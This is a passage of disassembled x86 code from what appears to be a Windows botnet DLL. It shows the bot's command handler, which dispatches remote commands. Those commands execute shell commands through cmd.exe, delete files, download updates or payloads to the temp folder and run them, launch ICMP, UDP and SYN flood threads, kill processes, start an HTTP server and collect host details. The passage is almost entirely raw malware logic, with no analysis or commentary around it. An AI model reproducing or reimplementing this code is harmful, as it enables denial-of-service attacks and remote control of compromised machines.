push offset aExec ; "exec"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100080F8
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jnz short loc_1000801A
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000801A: ; CODE XREF: sub_10007424+BEFj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx
push offset aS_3 ; " %s"
push 100h ; Count
lea eax, [ebp+var_16F4]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 100h ; Count
lea ecx, [ebp+var_16F4]
push ecx ; SubStr
mov edx, [ebp+Str]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea eax, [ebp+var_15F4]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Source
lea eax, [ebp+var_16F4]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea ecx, [ebp+var_16F4]
push ecx ; SubStr
lea edx, [ebp+var_15F4]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax
push offset aCS ; "/C %s"
push 100h ; Count
lea eax, [ebp+Parameters]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; nShowCmd
push 0 ; lpDirectory
lea ecx, [ebp+Parameters]
push ecx ; lpParameters
push offset aCmd_exe ; "cmd.exe"
push offset aOpen_7 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
lea edx, [ebp+var_16F4]
push edx ; char
push offset aExecuteExecute ; "{EXECUTE}: Executed file %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100080F8: ; CODE XREF: sub_10007424+BDEj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aDelete ; "delete"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100081F8
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jnz short loc_1000812B
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000812B: ; CODE XREF: sub_10007424+D00j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx
push offset aS_4 ; " %s"
push 100h ; Count
lea eax, [ebp+var_18F4]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 100h ; Count
lea ecx, [ebp+var_18F4]
push ecx ; SubStr
mov edx, [ebp+Str]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea eax, [ebp+FileName]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Source
lea eax, [ebp+var_18F4]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
lea ecx, [ebp+var_18F4]
push ecx ; SubStr
lea edx, [ebp+FileName]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Source
lea eax, [ebp+FileName]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; char
push offset aDeletedFileS__ ; "{DELETED}: FILE %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
lea ecx, [ebp+FileName]
push ecx ; lpFileName
call ds:DeleteFileA ; DeleteFileA
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100081F8: ; CODE XREF: sub_10007424+CEFj
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aSpeedtest ; "speedtest"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008349
mov ecx, [ebp+var_1D4]
cmp [ebp+ecx*4+Str2], 0
jnz short loc_1000822B
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000822B: ; CODE XREF: sub_10007424+E00j
push 100h ; Count
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Str2]
push eax ; Source
lea ecx, [ebp+var_1A08]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Source], 0
jz short loc_10008274
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Source]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_2B50], eax
jmp short loc_1000827E
; ---------------------------------------------------------------------------
loc_10008274: ; CODE XREF: sub_10007424+E32j
mov [ebp+var_2B50], 200h
loc_1000827E: ; CODE XREF: sub_10007424+E4Ej
mov edx, [ebp+var_2B50]
mov [ebp+var_1A0C], edx
push 10h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+var_84]
push ecx ; Source
lea edx, [ebp+var_1908]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov byte ptr [ebp+var_18F8], 0
lea eax, [ebp+var_1A08]
push eax ; int
push offset aSpeedtest_0 ; "speedtest"
call sub_1000A752
add esp, 8
mov [ebp+var_1A11+1], eax
cmp [ebp+var_1A11+1], 0FFFFFFFFh
jnz short loc_100082D9
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100082D9: ; CODE XREF: sub_10007424+EAEj
lea ecx, [ebp+var_1A11+1]
push ecx
push offset sub_10005584
call sub_10004C65
add esp, 8
mov edx, [ebp+var_1A11+1]
imul edx, 0CCh
mov dword_10012EA0[edx], eax
mov eax, [ebp+var_1A11+1]
imul eax, 0CCh
cmp dword_10012EA0[eax], 0
jnz short loc_1000832A
push 1
mov ecx, [ebp+var_1A11+1]
push ecx
call sub_1000AB26
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000832A: ; CODE XREF: sub_10007424+EEEj
; sub_10007424+F1Ej
mov edx, [ebp+var_18F8]
and edx, 0FFh
test edx, edx
jnz short loc_10008344
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_1000832A
; ---------------------------------------------------------------------------
loc_10008344: ; CODE XREF: sub_10007424+F14j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008349: ; CODE XREF: sub_10007424+DEFj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aDownlow ; "downlow"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008498
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Source], 0
jnz short loc_1000837C
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000837C: ; CODE XREF: sub_10007424+F51j
push 100h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Source
lea edx, [ebp+var_1C14]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 100h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Source]
push ecx ; Source
lea edx, [ebp+var_1B14]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov [ebp+var_1A13], 0
mov al, [ebp+var_116]
mov [ebp+var_1A12], al
mov byte ptr [ebp+var_1A11], 0
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Source]
push edx
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; char
push offset aDownloadingDow ; "{DOWNLOADING}: Downloading file..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 10h
lea eax, [ebp+var_1C14]
push eax ; int
push offset aDownload ; "download"
call sub_1000A752
add esp, 8
mov [ebp+var_1C18], eax
cmp [ebp+var_1C18], 0FFFFFFFFh
jnz short loc_10008428
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008428: ; CODE XREF: sub_10007424+FFDj
lea ecx, [ebp+var_1C18]
push ecx
push offset sub_10005380
call sub_10004C65
add esp, 8
mov edx, [ebp+var_1C18]
imul edx, 0CCh
mov dword_10012EA0[edx], eax
mov eax, [ebp+var_1C18]
imul eax, 0CCh
cmp dword_10012EA0[eax], 0
jnz short loc_10008479
push 1
mov ecx, [ebp+var_1C18]
push ecx
call sub_1000AB26
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008479: ; CODE XREF: sub_10007424+103Dj
; sub_10007424+106Dj
mov edx, [ebp+var_1A11]
and edx, 0FFh
test edx, edx
jnz short loc_10008493
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10008479
; ---------------------------------------------------------------------------
loc_10008493: ; CODE XREF: sub_10007424+1063j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008498: ; CODE XREF: sub_10007424+F40j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aIcmp ; "icmp"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100085D2
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Source], 0
jnz short loc_100084CB
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100084CB: ; CODE XREF: sub_10007424+10A0j
push 80h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Source
lea edx, [ebp+var_1CA0]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Source]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_1CA4], eax
mov dl, [ebp+var_122]
mov [ebp+var_1C20], dl
mov byte ptr [ebp+var_1C1F], 0
lea eax, [ebp+var_1CA0]
push eax ; int
push offset aIcmpflood ; "icmpflood"
call sub_1000A752
add esp, 8
mov [ebp+Parameter], eax
cmp [ebp+Parameter], 0FFFFFFFFh
jnz short loc_10008540
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008540: ; CODE XREF: sub_10007424+1115j
push 0 ; lpThreadId
push 0 ; dwCreationFlags
lea ecx, [ebp+Parameter]
push ecx ; lpParameter
push offset sub_1000B205 ; lpStartAddress
push 20000h ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread ; CreateThread
mov edx, [ebp+Parameter]
imul edx, 0CCh
mov dword_10012EA0[edx], eax
mov eax, [ebp+Parameter]
imul eax, 0CCh
cmp dword_10012EA0[eax], 0
jnz short loc_10008589
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008589: ; CODE XREF: sub_10007424+115Ej
; sub_10007424+117Dj
mov ecx, [ebp+var_1C1F]
and ecx, 0FFh
test ecx, ecx
jnz short loc_100085A3
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10008589
; ---------------------------------------------------------------------------
loc_100085A3: ; CODE XREF: sub_10007424+1173j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Source]
push eax
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; char
push offset aIcmpFloodingSF ; "ICMP-Flooding %s for %s seconds."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 10h
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100085D2: ; CODE XREF: sub_10007424+108Fj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aUdp ; "udp"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008737
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+var_74], 0
jnz short loc_10008605
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008605: ; CODE XREF: sub_10007424+11DAj
push 80h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Source
lea eax, [ebp+var_1D2E]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Source]
push edx ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_1D30], ax
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+var_74]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
and eax, 0FFFFh
mov [ebp+var_1D34], eax
mov dl, [ebp+var_122]
mov [ebp+var_1CAE], dl
mov byte ptr [ebp+var_1CAD], 0
lea eax, [ebp+var_1D2E]
push eax ; int
push offset aUdpflood ; "udpflood"
call sub_1000A752
add esp, 8
mov [ebp+var_1D38], eax
cmp [ebp+var_1D38], 0FFFFFFFFh
jnz short loc_1000869A
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000869A: ; CODE XREF: sub_10007424+126Fj
push 0 ; lpThreadId
push 0 ; dwCreationFlags
lea ecx, [ebp+var_1D38]
push ecx ; lpParameter
push offset sub_1000B442 ; lpStartAddress
push 20000h ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread ; CreateThread
mov edx, [ebp+var_1D38]
imul edx, 0CCh
mov dword_10012EA0[edx], eax
mov eax, [ebp+var_1D38]
imul eax, 0CCh
cmp dword_10012EA0[eax], 0
jnz short loc_100086E3
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100086E3: ; CODE XREF: sub_10007424+12B8j
; sub_10007424+12D7j
mov ecx, [ebp+var_1CAD]
and ecx, 0FFh
test ecx, ecx
jnz short loc_100086FD
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_100086E3
; ---------------------------------------------------------------------------
loc_100086FD: ; CODE XREF: sub_10007424+12CDj
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+var_74]
push eax
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Source]
push edx
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; char
push offset aUdpFloodingSOn ; "UDP-Flooding %s on port %s for %s secon"...
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 14h
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008737: ; CODE XREF: sub_10007424+11C9j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aSyn ; "syn"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008879
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+var_74], 0
jnz short loc_1000876A
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_1000876A: ; CODE XREF: sub_10007424+133Fj
push 80h ; Count
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Source
lea edx, [ebp+var_1DBE]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Source]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_1DC0], ax
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+var_74]
push eax ; Str
call ds:atoi ; atoi
add esp, 4
and eax, 0FFFFh
mov [ebp+var_1DC4], eax
mov cl, [ebp+var_122]
mov [ebp+var_1D3E], cl
mov byte ptr [ebp+var_1D3D], 0
lea edx, [ebp+var_1DBE]
push edx ; int
push offset aSynflood ; "synflood"
call sub_1000A752
add esp, 8
mov [ebp+var_1DC8], eax
cmp [ebp+var_1DC8], 0FFFFFFFFh
jnz short loc_100087FF
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100087FF: ; CODE XREF: sub_10007424+13D4j
mov eax, [ebp+var_1DC8]
imul eax, 0CCh
mov dword_10012EA0[eax], 0
xor ecx, ecx
test ecx, ecx
jnz short loc_10008820
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008820: ; CODE XREF: sub_10007424+13F5j
; sub_10007424+1414j
mov edx, [ebp+var_1D3D]
and edx, 0FFh
test edx, edx
jnz short loc_1000883A
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10008820
; ---------------------------------------------------------------------------
loc_1000883A: ; CODE XREF: sub_10007424+140Aj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+var_74]
push ecx
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Source]
push eax
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx
push offset byte_1002C868 ; char
push offset aSSynFloodingSO ; "%s SYN-Flooding %s on port %s for %s se"...
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 18h
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008879: ; CODE XREF: sub_10007424+132Ej
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aDdosstop ; "ddosstop"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_100088D6
push offset aIcmpflood_0 ; "icmpflood"
call sub_1000A8D0
add esp, 4
push offset aUdpflood_0 ; "udpflood"
call sub_1000A8D0
add esp, 4
push offset aSynflood_0 ; "synflood"
call sub_1000A8D0
add esp, 4
push offset aDdosFloodHasSt ; "DDOS FLOOD HAS STOPPED"
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_100088D6: ; CODE XREF: sub_10007424+1470j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aUpdate ; "update"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008AAA
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jnz short loc_10008909
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008909: ; CODE XREF: sub_10007424+14DEj
mov ecx, [ebp+var_1D4]
cmp [ebp+ecx*4+Source], 0
jz short loc_10008937
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Source]
push eax ; Str2
push offset Name ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_10008937
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008937: ; CODE XREF: sub_10007424+14F0j
; sub_10007424+150Cj
push 100h ; Count
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Source
lea eax, [ebp+var_1FCC]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea ecx, [ebp+Buffer]
push ecx ; lpBuffer
push 100h ; nBufferLength
call ds:GetTempPathA ; GetTempPathA
push 0Ch ; Count
call sub_10006FA2
push eax ; Source
lea edx, [ebp+var_20DC]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov al, [ebp+var_110]
mov byte ptr [ebp+var_1DCC], al
mov ecx, [ebp+var_1DCC]
and ecx, 0FFh
test ecx, ecx
jz short loc_100089A9
mov [ebp+var_2B54], offset aExe ; "exe"
jmp short loc_100089B3
; ---------------------------------------------------------------------------
loc_100089A9: ; CODE XREF: sub_10007424+1577j
mov [ebp+var_2B54], offset aDll ; "dll"
loc_100089B3: ; CODE XREF: sub_10007424+1583j
mov edx, [ebp+var_2B54]
push edx
lea eax, [ebp+var_20DC]
push eax
lea ecx, [ebp+Buffer]
push ecx
push offset aSS_S ; "%s\\%s.%s"
push 100h ; Count
lea edx, [ebp+var_1ECC]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
mov byte ptr [ebp+var_1DCC+1], 1
mov byte ptr [ebp+var_1DCC+2], 0
mov byte ptr [ebp+var_1DCC+3], 0
lea eax, [ebp+var_20DC]
push eax ; char
push offset aUpdatingUpdate ; "{UPDATING}: Updated file... [FILE: %s]"
lea ecx, [ebp+Dest]
push ecx ; int
call sub_10007303
add esp, 0Ch
lea edx, [ebp+var_1FCC]
push edx ; int
push offset aUpdate_0 ; "update"
call sub_1000A752
add esp, 8
mov [ebp+var_1FD0], eax
cmp [ebp+var_1FD0], 0FFFFFFFFh
jnz short loc_10008A3A
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008A3A: ; CODE XREF: sub_10007424+160Fj
lea eax, [ebp+var_1FD0]
push eax
push offset sub_10005380
call sub_10004C65
add esp, 8
mov ecx, [ebp+var_1FD0]
imul ecx, 0CCh
mov dword_10012EA0[ecx], eax
mov edx, [ebp+var_1FD0]
imul edx, 0CCh
cmp dword_10012EA0[edx], 0
jnz short loc_10008A8B
push 1
mov eax, [ebp+var_1FD0]
push eax
call sub_1000AB26
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008A8B: ; CODE XREF: sub_10007424+164Fj
; sub_10007424+167Fj
mov ecx, [ebp+var_1DCC+3]
and ecx, 0FFh
test ecx, ecx
jnz short loc_10008AA5
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10008A8B
; ---------------------------------------------------------------------------
loc_10008AA5: ; CODE XREF: sub_10007424+1675j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008AAA: ; CODE XREF: sub_10007424+14CDj
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aHttpd ; "!httpd"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008AE5
push offset byte_1002C5D8 ; char
push offset aExploitedHttpS ; "{EXPLOITED-HTTP}: Started on %s:83...\r\n"...
lea ecx, [ebp+Dest]
push ecx ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008AE5: ; CODE XREF: sub_10007424+16A1j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aTl ; "tl"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008B1D
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+var_84]
push edx
call sub_1000A858
add esp, 4
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008B1D: ; CODE XREF: sub_10007424+16DCj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aTk ; "tk"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008B83
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Str2], 0
jnz short loc_10008B4C
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008B4C: ; CODE XREF: sub_10007424+1721j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Str1
call sub_1000A8D0
add esp, 4
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Str2]
push eax ; char
push offset aThreadsKilledT ; "{THREADS}: Killed thread %s..."
lea ecx, [ebp+Dest]
push ecx ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008B83: ; CODE XREF: sub_10007424+1714j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aKpid ; "kpid"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008BF3
mov ecx, [ebp+var_1D4]
cmp [ebp+ecx*4+Str2], 0
jnz short loc_10008BB2
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008BB2: ; CODE XREF: sub_10007424+1787j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Str2]
push eax ; Str
call ds:atoi ; atoi
add esp, 4
push eax
call sub_1000AA09
add esp, 4
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; char
push offset aThreadsKille_0 ; "{THREADS}: Killed thread %s..."
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008BF3: ; CODE XREF: sub_10007424+177Aj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aKat ; "kat"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008C39
call sub_1000AAE1
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; char
push offset aThreadsKilledA ; "{THREADS}: Killed all threads..."
lea edx, [ebp+Dest]
push edx ; int
call sub_10007303
add esp, 0Ch
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008C39: ; CODE XREF: sub_10007424+17EAj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aPslist ; "pslist"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008C76
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+var_84]
push eax ; int
push offset dword_1002D128 ; Str2
call sub_1000998F
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008C76: ; CODE XREF: sub_10007424+1830j
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aPskill ; "pskill"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008CC2
mov eax, [ebp+var_1D4]
cmp [ebp+eax*4+Str2], 0
jnz short loc_10008CA5
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008CA5: ; CODE XREF: sub_10007424+187Aj
push offset dword_1002D12C ; int
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; Str2
call sub_1000998F
add esp, 8
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008CC2: ; CODE XREF: sub_10007424+186Dj
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Dst]
push ecx ; Str2
push offset aPskillpid ; "pskillpid"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10008D13
mov edx, [ebp+var_1D4]
cmp [ebp+edx*4+Str2], 0
jnz short loc_10008CF1
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008CF1: ; CODE XREF: sub_10007424+18C6j
mov eax, [ebp+var_1D4]
mov ecx, [ebp+eax*4+Str2]
push ecx ; Str
call ds:atoi ; atoi
add esp, 4
push eax ; dwProcessId
call sub_10009949
add esp, 4
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008D13: ; CODE XREF: sub_10007424+18B9j
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Dst]
push eax ; Str2
push offset aHttpserver ; "httpserver"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_10008E4E
mov ecx, [ebp+var_1D4]
cmp [ebp+ecx*4+Str2], 0
jnz short loc_10008D46
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008D46: ; CODE XREF: sub_10007424+191Bj
mov edx, [ebp+var_1D4]
mov eax, [ebp+edx*4+Str2]
push eax ; Str
call ds:atoi ; atoi
add esp, 4
mov [ebp+var_24E4], ax
push 100h ; uSize
lea ecx, [ebp+FullPath]
push ecx ; lpBuffer
call ds:GetSystemDirectoryA ; GetSystemDirectoryA
push 0 ; Ext
push 0 ; Filename
push 0 ; Dir
lea edx, [ebp+Drive]
push edx ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call ds:_splitpath ; _splitpath
add esp, 14h
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx
push offset byte_1002C5D8 ; char
push offset aHttpserverSS__ ; "{HTTPSERVER}: %s:%s...\r\n"
lea eax, [ebp+Dest]
push eax ; int
call sub_10007303
add esp, 10h
mov byte ptr [ebp+var_21E1], 0
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Str2]
push edx ; int
push offset aHttpd_0 ; "httpd"
call sub_1000A752
add esp, 8
mov [ebp+var_24EC], eax
cmp [ebp+var_24EC], 0FFFFFFFFh
jnz short loc_10008DE7
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008DE7: ; CODE XREF: sub_10007424+19BCj
push 0 ; lpThreadId
push 0 ; dwCreationFlags
lea eax, [ebp+var_24EC]
push eax ; lpParameter
push offset sub_1000329E ; lpStartAddress
push 20000h ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread ; CreateThread
mov ecx, [ebp+var_24EC]
imul ecx, 0CCh
mov dword_10012EA0[ecx], eax
mov edx, [ebp+var_24EC]
imul edx, 0CCh
cmp dword_10012EA0[edx], 0
jnz short loc_10008E30
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008E30: ; CODE XREF: sub_10007424+1A05j
; sub_10007424+1A23j
mov eax, [ebp+var_21E1]
and eax, 0FFh
test eax, eax
jnz short loc_10008E49
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10008E30
; ---------------------------------------------------------------------------
loc_10008E49: ; CODE XREF: sub_10007424+1A19j
jmp loc_1000982A
; ---------------------------------------------------------------------------
loc_10008E4E: ; CODE XREF: sub_10007424+190Aj
mov ecx, [ebp+var_1D4]
mov edx, [ebp+ecx*4+Dst]
push edx ; Str2
push offset aUinfo ; "uinfo"
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz loc_100090B2
mov [ebp+lpBuffer], offset aPc ; "PC"
mov [ebp+nSize], 100h
mov [ebp+var_250C], 0
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
lea eax, [ebp+nSize]
push eax ; nSize
mov ecx, [ebp+lpBuffer]
push ecx ; lpBuffer
call ds:GetComputerNameA ; GetComputerNameA
test eax, eax
jnz short loc_10008EBF
mov [ebp+lpBuffer], offset aPc_0 ; "PC"
loc_10008EBF: ; CODE XREF: sub_10007424+1A8Fj
mov [ebp+var_2508], 41h
